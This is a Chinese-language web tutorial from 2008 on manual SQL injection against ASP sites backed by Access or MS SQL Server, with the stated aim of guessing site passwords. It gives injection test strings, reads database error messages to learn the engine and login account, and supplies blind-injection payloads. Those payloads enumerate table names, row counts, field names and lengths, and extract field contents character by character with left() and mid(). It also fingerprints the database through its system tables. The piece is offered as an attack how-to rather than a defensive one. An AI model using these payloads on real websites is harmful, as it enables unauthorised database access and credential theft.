搜索:
首页 >> 网站安全 >> 手工SQL注入猜解网站密码

手工SQL注入猜解网站密码

2008-7-26 作者:biyuan 来源:biyuan的专栏 投递文章

判断是否存在SQL注入点

以下为程序代码:
'
and 1=1
and 1=2
' and char(124)%2Buser%2Bchar(124)=0 and '='
and char(124)%2Buser%2Bchar(124)=0

错误判断

Microsoft JET Database Engine 错误 '80040e14'

字符串的语法错误 在查询表达式 'ID=49' 中。

/showdetail.asp,行8

从这个错误提示我们能看出下面几点:

1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。

2. 程序没有判断客户端提交的数据是否符合程序要求。

3. 该SQL语句所查询的表中有一名为ID的字段。

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)

[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'sonybb' 转换为数据类型为 int 的列时发生语法错误。

/lawjia/show.asp, 第 47 行

但是别有用心的人从这个出错信息中,可以获得以下信息:

该站使用MS_SQL数据库,用ODBC连接,连接帐号名为:sonybb。

SQL数据库表名称猜解

以下为程序代码:
and exists (select * from 表名称)
and 0<>(select count(*) from 表名称)

猜解表里面数据数量

以下为程序代码:
and 数据数量=(select count(*) from 表名称)

猜测表里面的字段名称

以下为程序代码:
and 1=(select count(*) from [表名称] where len(字段名)>0)
and exists (select 字段名 from 表名称)

猜测字段长度

以下为程序代码:
and 1=(select count(*) from [表名称] where len(字段名)<长度)

字段内容猜测

left函数猜测:

以下为程序代码:
and 1=(select count(*) from [表名称] where left(字段名,位数)='所在位数以内的内容')

mid函数猜测:

以下为程序代码:
and 1=(select count(*) from [表名称] where mid(字段名,查询的位数,1)='查询所在位数的数据')

精髓技巧:

以下为程序代码:
;and user>0

是sa登录,提示是将"dbo"转换成int的列发生错误,而不是"sa"。

数据库类型判断:

以下为程序代码:
;and (select count(*) from sysobjects)>0
;and (select count(*) from msysobjects)>0

Access和 SQLServer都有自己的系统表,

比如存放数据库中所有对象的表,

Access是在系统表[msysobjects]中,

但在Web环境下读该表会提示"没有权限",

SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

一般使用第一个判断

如果数据库是SQLServer,

那么第一个网址的页面与原页面是大致相同的;

而第二个网址,由于找不到表msysobjects,会提示出错,

就算程序有容错处理,页面也与原页面完全不同。

如果数据库用的是Access,那么情况就有所不同,

第一个网址的页面与原页面完全不同;

第二个网址,则视乎数据库设置是否允许读该系统表,

一般来说是不允许的,所以与原网址也是完全不同。

大多数情况下,用第一个网址就可以得知系统所用的数据库类型,

第二个网址只作为开启IIS错误提示时的验证。

Tags:注入  sql  密码 
相关文章
手机版 网站安全 Asp之家 Aspxhome.com
闽ICP备06017341号